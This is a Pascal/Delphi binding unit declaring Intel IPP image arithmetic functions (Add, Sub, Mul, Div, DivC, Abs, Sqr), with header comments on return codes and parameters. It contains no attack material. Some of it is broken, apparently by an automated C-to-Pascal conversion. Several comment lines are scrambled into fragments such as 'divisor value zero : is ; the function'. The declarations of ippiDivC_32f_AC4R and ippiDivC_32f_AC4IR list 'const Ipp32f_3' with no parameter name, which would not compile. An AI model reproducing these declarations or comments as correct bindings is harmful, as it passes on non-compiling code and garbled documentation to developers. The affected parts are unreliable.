ippStsSizeErr Width or height of images is less than or equal to zero
Parameters:
pSrc1, pSrc2 Pointers to the source images
src1Step, src2Step Steps through the source images
pDst Pointer to the destination image
dstStep Step through the destination image
roiSize Size of the ROI
}
function ippiAdd_32f_C1R( pSrc1 : Ipp32fPtr ; src1Step : Int32 ; pSrc2 : Ipp32fPtr ; src2Step : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiAdd_32f_C3R( pSrc1 : Ipp32fPtr ; src1Step : Int32 ; pSrc2 : Ipp32fPtr ; src2Step : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiAdd_32f_C4R( pSrc1 : Ipp32fPtr ; src1Step : Int32 ; pSrc2 : Ipp32fPtr ; src2Step : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiAdd_32f_AC4R( pSrc1 : Ipp32fPtr ; src1Step : Int32 ; pSrc2 : Ipp32fPtr ; src2Step : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiSub_32f_C1R( pSrc1 : Ipp32fPtr ; src1Step : Int32 ; pSrc2 : Ipp32fPtr ; src2Step : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiSub_32f_C3R( pSrc1 : Ipp32fPtr ; src1Step : Int32 ; pSrc2 : Ipp32fPtr ; src2Step : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiSub_32f_C4R( pSrc1 : Ipp32fPtr ; src1Step : Int32 ; pSrc2 : Ipp32fPtr ; src2Step : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiSub_32f_AC4R( pSrc1 : Ipp32fPtr ; src1Step : Int32 ; pSrc2 : Ipp32fPtr ; src2Step : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiMul_32f_C1R( pSrc1 : Ipp32fPtr ; src1Step : Int32 ; pSrc2 : Ipp32fPtr ; src2Step : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiMul_32f_C3R( pSrc1 : Ipp32fPtr ; src1Step : Int32 ; pSrc2 : Ipp32fPtr ; src2Step : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiMul_32f_C4R( pSrc1 : Ipp32fPtr ; src1Step : Int32 ; pSrc2 : Ipp32fPtr ; src2Step : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiMul_32f_AC4R( pSrc1 : Ipp32fPtr ; src1Step : Int32 ; pSrc2 : Ipp32fPtr ; src2Step : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippiDiv_32f_C1R, ippiDiv_32f_C3R ippiDiv_32f_C4R ippiDiv_32f_AC4R
Purpose: Divides pixel values of an image by pixel values of another image
and places the results in a destination image.
Returns:
ippStsNoErr OK
ippStsNullPtrErr One of the pointers is NULL
ippStsSizeErr roiSize has a field with zero or negative value
ippStsStepErr At least one step value is less than or equal to zero
ippStsDivByZero A warning that a divisor value is zero, the function
execution is continued.
If a dividend is equal to zero, then the result is NAN_32F;
if it is greater than zero, then the result is INF_32F,
if it is less than zero, then the result is INF_NEG_32F
Parameters:
pSrc1 Pointer to the divisor source image
src1Step Step through the divisor source image
pSrc2 Pointer to the dividend source image
src2Step Step through the dividend source image
pDst Pointer to the destination image
dstStep Step through the destination image
roiSize Size of the ROI
}
function ippiDiv_32f_C1R( pSrc1 : Ipp32fPtr ; src1Step : Int32 ; pSrc2 : Ipp32fPtr ; src2Step : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiDiv_32f_C3R( pSrc1 : Ipp32fPtr ; src1Step : Int32 ; pSrc2 : Ipp32fPtr ; src2Step : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiDiv_32f_C4R( pSrc1 : Ipp32fPtr ; src1Step : Int32 ; pSrc2 : Ipp32fPtr ; src2Step : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiDiv_32f_AC4R( pSrc1 : Ipp32fPtr ; src1Step : Int32 ; pSrc2 : Ipp32fPtr ; src2Step : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippiDiv_16s_C1RSfs, ippiDiv_8u_C1RSfs, ippiDiv_16u_C1RSfs,
ippiDiv_16s_C3RSfs, ippiDiv_8u_C3RSfs, ippiDiv_16u_C3RSfs,
ippiDiv_16s_C4RSfs, ippiDiv_8u_C4RSfs, ippiDiv_16u_C4RSfs,
ippiDiv_16s_AC4RSfs,ippiDiv_8u_AC4RSfs,ippiDiv_16u_AC4RSfs
Purpose: Divides pixel values of an image by pixel values of
another image and places the scaled results in a destination
image.
Returns:
ippStsNoErr OK
ippStsNullPtrErr One of the pointers is NULL
ippStsSizeErr roiSize has a field with zero or negative value
ippStsStepErr At least one step value is less than or equal to zero
ippStsDivByZero A warning that a divisor value is zero, the function
execution is continued.
If a dividend is equal to zero, then the result is zero;
if it is greater than zero, then the result is IPP_MAX_16S, or IPP_MAX_8U, or IPP_MAX_16U
if it is less than zero (16s : for ), then the result is IPP_MIN_16S
Parameters:
pSrc1 Pointer to the divisor source image
src1Step Step through the divisor source image
pSrc2 Pointer to the dividend source image
src2Step Step through the dividend source image
pDst Pointer to the destination image
dstStep Step through the destination image
roiSize Size of the ROI
scaleFactor Scale factor
}
function ippiDiv_16s_C1RSfs( pSrc1 : Ipp16sPtr ; src1Step : Int32 ; pSrc2 : Ipp16sPtr ; src2Step : Int32 ; pDst : Ipp16sPtr ; dstStep : Int32 ; roiSize : IppiSize ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippiDiv_16s_C3RSfs( pSrc1 : Ipp16sPtr ; src1Step : Int32 ; pSrc2 : Ipp16sPtr ; src2Step : Int32 ; pDst : Ipp16sPtr ; dstStep : Int32 ; roiSize : IppiSize ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippiDiv_16s_C4RSfs( pSrc1 : Ipp16sPtr ; src1Step : Int32 ; pSrc2 : Ipp16sPtr ; src2Step : Int32 ; pDst : Ipp16sPtr ; dstStep : Int32 ; roiSize : IppiSize ; ScaleFactor : Int32 ): IppStatus; _ippapi
function ippiDiv_16s_AC4RSfs( pSrc1 : Ipp16sPtr ; src1Step : Int32 ; pSrc2 : Ipp16sPtr ; src2Step : Int32 ; pDst : Ipp16sPtr ; dstStep : Int32 ; roiSize : IppiSize ; ScaleFactor : Int32 ): IppStatus; _ippapi
function ippiDiv_8u_C1RSfs( pSrc1 : Ipp8uPtr ; src1Step : Int32 ; pSrc2 : Ipp8uPtr ; src2Step : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippiDiv_8u_C3RSfs( pSrc1 : Ipp8uPtr ; src1Step : Int32 ; pSrc2 : Ipp8uPtr ; src2Step : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippiDiv_8u_C4RSfs( pSrc1 : Ipp8uPtr ; src1Step : Int32 ; pSrc2 : Ipp8uPtr ; src2Step : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ; ScaleFactor : Int32 ): IppStatus; _ippapi
function ippiDiv_8u_AC4RSfs( pSrc1 : Ipp8uPtr ; src1Step : Int32 ; pSrc2 : Ipp8uPtr ; src2Step : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ; ScaleFactor : Int32 ): IppStatus; _ippapi
function ippiDiv_16u_C1RSfs( pSrc1 : Ipp16uPtr ; src1Step : Int32 ; pSrc2 : Ipp16uPtr ; src2Step : Int32 ; pDst : Ipp16uPtr ; dstStep : Int32 ; roiSize : IppiSize ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippiDiv_16u_C3RSfs( pSrc1 : Ipp16uPtr ; src1Step : Int32 ; pSrc2 : Ipp16uPtr ; src2Step : Int32 ; pDst : Ipp16uPtr ; dstStep : Int32 ; roiSize : IppiSize ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippiDiv_16u_C4RSfs( pSrc1 : Ipp16uPtr ; src1Step : Int32 ; pSrc2 : Ipp16uPtr ; src2Step : Int32 ; pDst : Ipp16uPtr ; dstStep : Int32 ; roiSize : IppiSize ; ScaleFactor : Int32 ): IppStatus; _ippapi
function ippiDiv_16u_AC4RSfs( pSrc1 : Ipp16uPtr ; src1Step : Int32 ; pSrc2 : Ipp16uPtr ; src2Step : Int32 ; pDst : Ipp16uPtr ; dstStep : Int32 ; roiSize : IppiSize ; ScaleFactor : Int32 ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippiDivC_32f_C1R, ippiDivC_32f_C3R
ippiDivC_32f_C4R, ippiDivC_32f_AC4R
Purpose: Divides pixel values of a source image by a constant
and places the results in a destination image.
Returns:
ippStsNoErr OK
ippStsNullPtrErr One of the pointers is NULL
ippStsSizeErr roiSize has a field with zero or negative value
ippStsStepErr step value is less than or equal to zero
ippStsDivByZeroErr The constant is equal to zero
Parameters:
value The constant divisor
pSrc Pointer to the source image
pDst Pointer to the destination image
roiSize Size of the ROI
}
function ippiDivC_32f_C1R( pSrc : Ipp32fPtr ; srcStep : Int32 ; value : Ipp32f ; pDst : Ipp32fPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiDivC_32f_C3R( pSrc : Ipp32fPtr ; srcStep : Int32 ; const value : Ipp32f_3 ; pDst : Ipp32fPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiDivC_32f_C4R( pSrc : Ipp32fPtr ; srcStep : Int32 ; const val : Ipp32f_4 ; pDst : Ipp32fPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiDivC_32f_AC4R( pSrc : Ipp32fPtr ; srcStep : Int32 ; const Ipp32f_3 ; pDst : Ipp32fPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippiDivC_16s_C1RSfs, ippiDivC_8u_C1RSfs, ippiDivC_16u_C1RSfs,
ippiDivC_16s_C3RSfs, ippiDivC_8u_C3RSfs, ippiDivC_16u_C3RSfs,
ippiDivC_16s_C4RSfs, ippiDivC_8u_C4RSfs, ippiDivC_16u_C4RSfs,
ippiDivC_16s_AC4RSfs,ippiDivC_8u_AC4RSfs,ippiDivC_16u_AC4RSfs
Purpose: Divides pixel values of a source image by a constant
and places the scaled results in a destination image.
Returns:
ippStsNoErr OK
ippStsNullPtrErr One of the pointers is NULL
ippStsSizeErr roiSize has a field with zero or negative value
ippStsStepErr Step value is less than or equal to zero
ippStsDivByZeroErr The constant is equal to zero
Parameters:
value Constant divisor
pSrc Pointer to the source image
pDst Pointer to the destination image
roiSize Size of the ROI
scaleFactor Scale factor
}
function ippiDivC_16s_C1RSfs( pSrc : Ipp16sPtr ; srcStep : Int32 ; value : Ipp16s ; pDst : Ipp16sPtr ; dstStep : Int32 ; roiSize : IppiSize ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippiDivC_16s_C3RSfs( pSrc : Ipp16sPtr ; srcStep : Int32 ; const value : Ipp16s_3 ; pDst : Ipp16sPtr ; dstStep : Int32 ; roiSize : IppiSize ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippiDivC_16s_C4RSfs( pSrc : Ipp16sPtr ; srcStep : Int32 ; const value : Ipp16s_4 ; pDst : Ipp16sPtr ; dstStep : Int32 ; roiSize : IppiSize ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippiDivC_16s_AC4RSfs( pSrc : Ipp16sPtr ; srcStep : Int32 ; const value : Ipp16s_3 ; pDst : Ipp16sPtr ; dstStep : Int32 ; roiSize : IppiSize ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippiDivC_8u_C1RSfs( pSrc : Ipp8uPtr ; srcStep : Int32 ; value : Ipp8u ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippiDivC_8u_C3RSfs( pSrc : Ipp8uPtr ; srcStep : Int32 ; const value : Ipp8u_3 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippiDivC_8u_C4RSfs( pSrc : Ipp8uPtr ; srcStep : Int32 ; const value : Ipp8u_4 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippiDivC_8u_AC4RSfs( pSrc : Ipp8uPtr ; srcStep : Int32 ; const value : Ipp8u_3 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippiDivC_16u_C1RSfs( pSrc : Ipp16uPtr ; srcStep : Int32 ; value : Ipp16u ; pDst : Ipp16uPtr ; dstStep : Int32 ; roiSize : IppiSize ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippiDivC_16u_C3RSfs( pSrc : Ipp16uPtr ; srcStep : Int32 ; const value : Ipp16u_3 ; pDst : Ipp16uPtr ; dstStep : Int32 ; roiSize : IppiSize ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippiDivC_16u_C4RSfs( pSrc : Ipp16uPtr ; srcStep : Int32 ; const value : Ipp16u_4 ; pDst : Ipp16uPtr ; dstStep : Int32 ; roiSize : IppiSize ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippiDivC_16u_AC4RSfs( pSrc : Ipp16uPtr ; srcStep : Int32 ; const value : Ipp16u_3 ; pDst : Ipp16uPtr ; dstStep : Int32 ; roiSize : IppiSize ; scaleFactor : Int32 ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippiDiv_32f_C1IR, ippiDiv_32f_C3IR ippiDiv_32f_C4IR ippiDiv_32f_AC4IR
Purpose: Divides pixel values of an image by pixel values of
another image and places the results in the dividend source
image.
Returns:
ippStsNoErr OK
ippStsNullPtrErr One of the pointers is NULL
ippStsSizeErr roiSize has a field with zero or negative value
ippStsStepErr At least one step value is less than or equal to zero
ippStsDivByZero A warning that a divisor value is zero, the function
execution is continued.
If a dividend is equal to zero, then the result is NAN_32F;
if it is greater than zero, then the result is INF_32F,
if it is less than zero, then the result is INF_NEG_32F
Parameters:
pSrc Pointer to the divisor source image
srcStep Step through the divisor source image
pSrcDst Pointer to the dividend source/destination image
srcDstStep Step through the dividend source/destination image
roiSize Size of the ROI
}
function ippiDiv_32f_C1IR( pSrc : Ipp32fPtr ; srcStep : Int32 ; pSrcDst : Ipp32fPtr ; srcDstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiDiv_32f_C3IR( pSrc : Ipp32fPtr ; srcStep : Int32 ; pSrcDst : Ipp32fPtr ; srcDstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiDiv_32f_C4IR( pSrc : Ipp32fPtr ; srcStep : Int32 ; pSrcDst : Ipp32fPtr ; srcDstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiDiv_32f_AC4IR( pSrc : Ipp32fPtr ; srcStep : Int32 ; pSrcDst : Ipp32fPtr ; srcDstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippiDiv_16s_C1IRSfs, ippiDiv_8u_C1IRSfs, ippiDiv_16u_C1IRSfs,
ippiDiv_16s_C3IRSfs, ippiDiv_8u_C3IRSfs, ippiDiv_16u_C3IRSfs,
ippiDiv_16s_C4IRSfs, ippiDiv_8u_C4IRSfs, ippiDiv_16u_C4IRSfs,
ippiDiv_16s_AC4IRSfs,ippiDiv_8u_AC4IRSfs,ippiDiv_16u_AC4IRSfs
Purpose: Divides pixel values of an image by pixel values of
another image and places the scaled results in the dividend
source image.
Returns:
ippStsNoErr OK
ippStsNullPtrErr One of the pointers is NULL
ippStsSizeErr roiSize has a field with zero or negative value
ippStsStepErr At least one step value is less than or equal to zero
ippStsDivByZero A warning that a divisor value zero : is ; the function
execution is continued.
If a dividend is equal zero : to ; then the result is zero;
if it is greater zero : than ; then the result IPP_MAX_16S : is ; IPP_MAX_8U : or ; or IPP_MAX_16U
if it is less than zero (16s : for ), then the result is IPP_MIN_16S
Parameters:
pSrc Pointer to the divisor source image
srcStep Step through the divisor source image
pSrcDst Pointer to the dividend source/destination image
srcDstStep Step through the dividend source/destination image
roiSize Size of the ROI
scaleFactor Scale factor
}
function ippiDiv_16s_C1IRSfs( pSrc : Ipp16sPtr ; srcStep : Int32 ; pSrcDst : Ipp16sPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippiDiv_16s_C3IRSfs( pSrc : Ipp16sPtr ; srcStep : Int32 ; pSrcDst : Ipp16sPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippiDiv_16s_C4IRSfs( pSrc : Ipp16sPtr ; srcStep : Int32 ; pSrcDst : Ipp16sPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; ScaleFactor : Int32 ): IppStatus; _ippapi
function ippiDiv_16s_AC4IRSfs( pSrc : Ipp16sPtr ; srcStep : Int32 ; pSrcDst : Ipp16sPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; ScaleFactor : Int32 ): IppStatus; _ippapi
function ippiDiv_8u_C1IRSfs( pSrc : Ipp8uPtr ; srcStep : Int32 ; pSrcDst : Ipp8uPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippiDiv_8u_C3IRSfs( pSrc : Ipp8uPtr ; srcStep : Int32 ; pSrcDst : Ipp8uPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippiDiv_8u_C4IRSfs( pSrc : Ipp8uPtr ; srcStep : Int32 ; pSrcDst : Ipp8uPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; ScaleFactor : Int32 ): IppStatus; _ippapi
function ippiDiv_8u_AC4IRSfs( pSrc : Ipp8uPtr ; srcStep : Int32 ; pSrcDst : Ipp8uPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; ScaleFactor : Int32 ): IppStatus; _ippapi
function ippiDiv_16u_C1IRSfs( pSrc : Ipp16uPtr ; srcStep : Int32 ; pSrcDst : Ipp16uPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippiDiv_16u_C3IRSfs( pSrc : Ipp16uPtr ; srcStep : Int32 ; pSrcDst : Ipp16uPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippiDiv_16u_C4IRSfs( pSrc : Ipp16uPtr ; srcStep : Int32 ; pSrcDst : Ipp16uPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; ScaleFactor : Int32 ): IppStatus; _ippapi
function ippiDiv_16u_AC4IRSfs( pSrc : Ipp16uPtr ; srcStep : Int32 ; pSrcDst : Ipp16uPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; ScaleFactor : Int32 ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippiDivC_32f_C1IR, ippiDivC_32f_C3IR,
ippiDivC_32f_C4IR, ippiDivC_32f_AC4IR
Purpose: Divides pixel values of a source image by a constant
and places the results in the same image.
Returns:
ippStsNoErr OK
ippStsNullPtrErr The pointer is NULL
ippStsSizeErr The roiSize has a field with zero or negative value
ippStsStepErr The step value is less than or equal to zero
ippStsDivByZeroErr The constant is equal to zero
Parameters:
value The constant divisor
pSrcDst Pointer to the source/destination image
srcDstStep Step through the source/destination image
roiSize Size of the ROI
}
function ippiDivC_32f_C1IR( value : Ipp32f ; pSrcDst : Ipp32fPtr ; srcDstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiDivC_32f_C3IR(const value : Ipp32f_3 ; pSrcDst : Ipp32fPtr ; srcDstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiDivC_32f_C4IR(const val : Ipp32f_4 ; pSrcDst : Ipp32fPtr ; srcDstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiDivC_32f_AC4IR(const Ipp32f_3 ; pSrcDst : Ipp32fPtr ; srcDstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippiDivC_16s_C1IRSfs, ippiDivC_8u_C1IRSfs, ippiDivC_16u_C1IRSfs,
ippiDivC_16s_C3IRSfs, ippiDivC_8u_C3IRSfs, ippiDivC_16u_C3IRSfs,
ippiDivC_16s_C4IRSfs, ippiDivC_8u_C4IRSfs, ippiDivC_16u_C4IRSfs,
ippiDivC_16s_AC4IRSfs,ippiDivC_8u_AC4IRSfs,ippiDivC_16u_AC4IRSfs
Purpose: Divides pixel values of a source image by a constant
and places the scaled results in the same image.
Returns:
ippStsNoErr OK
ippStsNullPtrErr The pointer is NULL
ippStsSizeErr The roiSize has a field with zero or negative value
ippStsStepErr The step value is less than or equal to zero
ippStsDivByZeroErr The constant is equal to zero
Parameters:
value The constant divisor
pSrcDst Pointer to the source/destination image
srcDstStep Step through the source/destination image
roiSize Size of the ROI
scaleFactor Scale factor
}
function ippiDivC_16s_C1IRSfs( value : Ipp16s ; pSrcDst : Ipp16sPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippiDivC_16s_C3IRSfs(const value : Ipp16s_3 ; pSrcDst : Ipp16sPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippiDivC_16s_C4IRSfs(const val : Ipp16s_4 ; pSrcDst : Ipp16sPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; ScaleFactor : Int32 ): IppStatus; _ippapi
function ippiDivC_16s_AC4IRSfs(const val : Ipp16s_3 ; pSrcDst : Ipp16sPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; ScaleFactor : Int32 ): IppStatus; _ippapi
function ippiDivC_8u_C1IRSfs( value : Ipp8u ; pSrcDst : Ipp8uPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippiDivC_8u_C3IRSfs(const value : Ipp8u_3 ; pSrcDst : Ipp8uPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippiDivC_8u_C4IRSfs(const val : Ipp8u_4 ; pSrcDst : Ipp8uPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; ScaleFactor : Int32 ): IppStatus; _ippapi
function ippiDivC_8u_AC4IRSfs(const val : Ipp8u_3 ; pSrcDst : Ipp8uPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; ScaleFactor : Int32 ): IppStatus; _ippapi
function ippiDivC_16u_C1IRSfs( value : Ipp16u ; pSrcDst : Ipp16uPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippiDivC_16u_C3IRSfs(const value : Ipp16u_3 ; pSrcDst : Ipp16uPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippiDivC_16u_C4IRSfs(const val : Ipp16u_4 ; pSrcDst : Ipp16uPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; ScaleFactor : Int32 ): IppStatus; _ippapi
function ippiDivC_16u_AC4IRSfs(const val : Ipp16u_3 ; pSrcDst : Ipp16uPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; ScaleFactor : Int32 ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Names: ippiAbs_16s_C1R
ippiAbs_16s_C3R
ippiAbs_16s_C4R
ippiAbs_16s_AC4R
ippiAbs_32f_C1R
ippiAbs_32f_C3R
ippiAbs_32f_C4R
ippiAbs_32f_AC4R
ippiAbs_16s_C1IR
ippiAbs_16s_C3IR
ippiAbs_16s_C4IR
ippiAbs_16s_AC4IR
ippiAbs_32f_C1IR
ippiAbs_32f_C3IR
ippiAbs_32f_C4IR
ippiAbs_32f_AC4IR
Purpose: computes absolute value of each pixel of a source image and
places results in the destination image;
for in-place flavors - in the same source image
Returns:
ippStsNoErr OK
ippStsNullPtrErr One of the pointers is NULL
ippStsSizeErr The roiSize has a field with negative or zero value
Parameters:
pSrc pointer to the source image
srcStep step through the source image
pDst pointer to the destination image
dstStep step through the destination image
pSrcDst pointer to the source/destination image (for in-place function)
srcDstStep step through the source/destination image (for in-place function)
roiSize size of the ROI
}
function ippiAbs_16s_C1R( pSrc : Ipp16sPtr ; srcStep : Int32 ; pDst : Ipp16sPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiAbs_16s_C3R( pSrc : Ipp16sPtr ; srcStep : Int32 ; pDst : Ipp16sPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiAbs_16s_AC4R( pSrc : Ipp16sPtr ; srcStep : Int32 ; pDst : Ipp16sPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiAbs_32f_C1R( pSrc : Ipp32fPtr ; srcStep : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiAbs_32f_C3R( pSrc : Ipp32fPtr ; srcStep : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiAbs_32f_AC4R( pSrc : Ipp32fPtr ; srcStep : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiAbs_16s_C1IR( pSrcDst : Ipp16sPtr ; srcDstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiAbs_16s_C3IR( pSrcDst : Ipp16sPtr ; srcDstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiAbs_16s_AC4IR( pSrcDst : Ipp16sPtr ; srcDstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiAbs_32f_C1IR( pSrcDst : Ipp32fPtr ; srcDstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiAbs_32f_C3IR( pSrcDst : Ipp32fPtr ; srcDstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiAbs_32f_AC4IR( pSrcDst : Ipp32fPtr ; srcDstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiAbs_16s_C4R( pSrc : Ipp16sPtr ; srcStep : Int32 ; pDst : Ipp16sPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiAbs_32f_C4R( pSrc : Ipp32fPtr ; srcStep : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiAbs_16s_C4IR( pSrcDst : Ipp16sPtr ; srcDstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiAbs_32f_C4IR( pSrcDst : Ipp32fPtr ; srcDstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Names: ippiSqr_8u_C1RSfs
ippiSqr_8u_C3RSfs
ippiSqr_8u_AC4RSfs
ippiSqr_8u_C4RSfs
ippiSqr_16u_C1RSfs
ippiSqr_16u_C3RSfs
ippiSqr_16u_AC4RSfs
ippiSqr_16u_C4RSfs
ippiSqr_16s_C1RSfs
ippiSqr_16s_C3RSfs
ippiSqr_16s_AC4RSfs
ippiSqr_16s_C4RSfs
ippiSqr_32f_C1R
ippiSqr_32f_C3R
ippiSqr_32f_AC4R
ippiSqr_32f_C4R
ippiSqr_8u_C1IRSfs
ippiSqr_8u_C3IRSfs
ippiSqr_8u_AC4IRSfs
ippiSqr_8u_C4IRSfs
ippiSqr_16u_C1IRSfs
ippiSqr_16u_C3IRSfs
ippiSqr_16u_AC4IRSfs
ippiSqr_16u_C4IRSfs
ippiSqr_16s_C1IRSfs
ippiSqr_16s_C3IRSfs
ippiSqr_16s_AC4IRSfs
ippiSqr_16s_C4IRSfs
ippiSqr_32f_C1IR
ippiSqr_32f_C3IR
ippiSqr_32f_AC4IR
ippiSqr_32f_C4IR
Purpose: squares pixel values of an image and
places results in the destination image;
for in-place flavors - in the same image
Returns:
ippStsNoErr OK
ippStsNullPtrErr One of the pointers is NULL
ippStsSizeErr The roiSize has a field with negative or zero value
Parameters:
pSrc pointer to the source image
srcStep step through the source image
pDst pointer to the destination image
dstStep step through the destination image
pSrcDst pointer to the source/destination image (for in-place function)
srcDstStep step through the source/destination image (for in-place function)
roiSize size of the ROI
scaleFactor scale factor
}
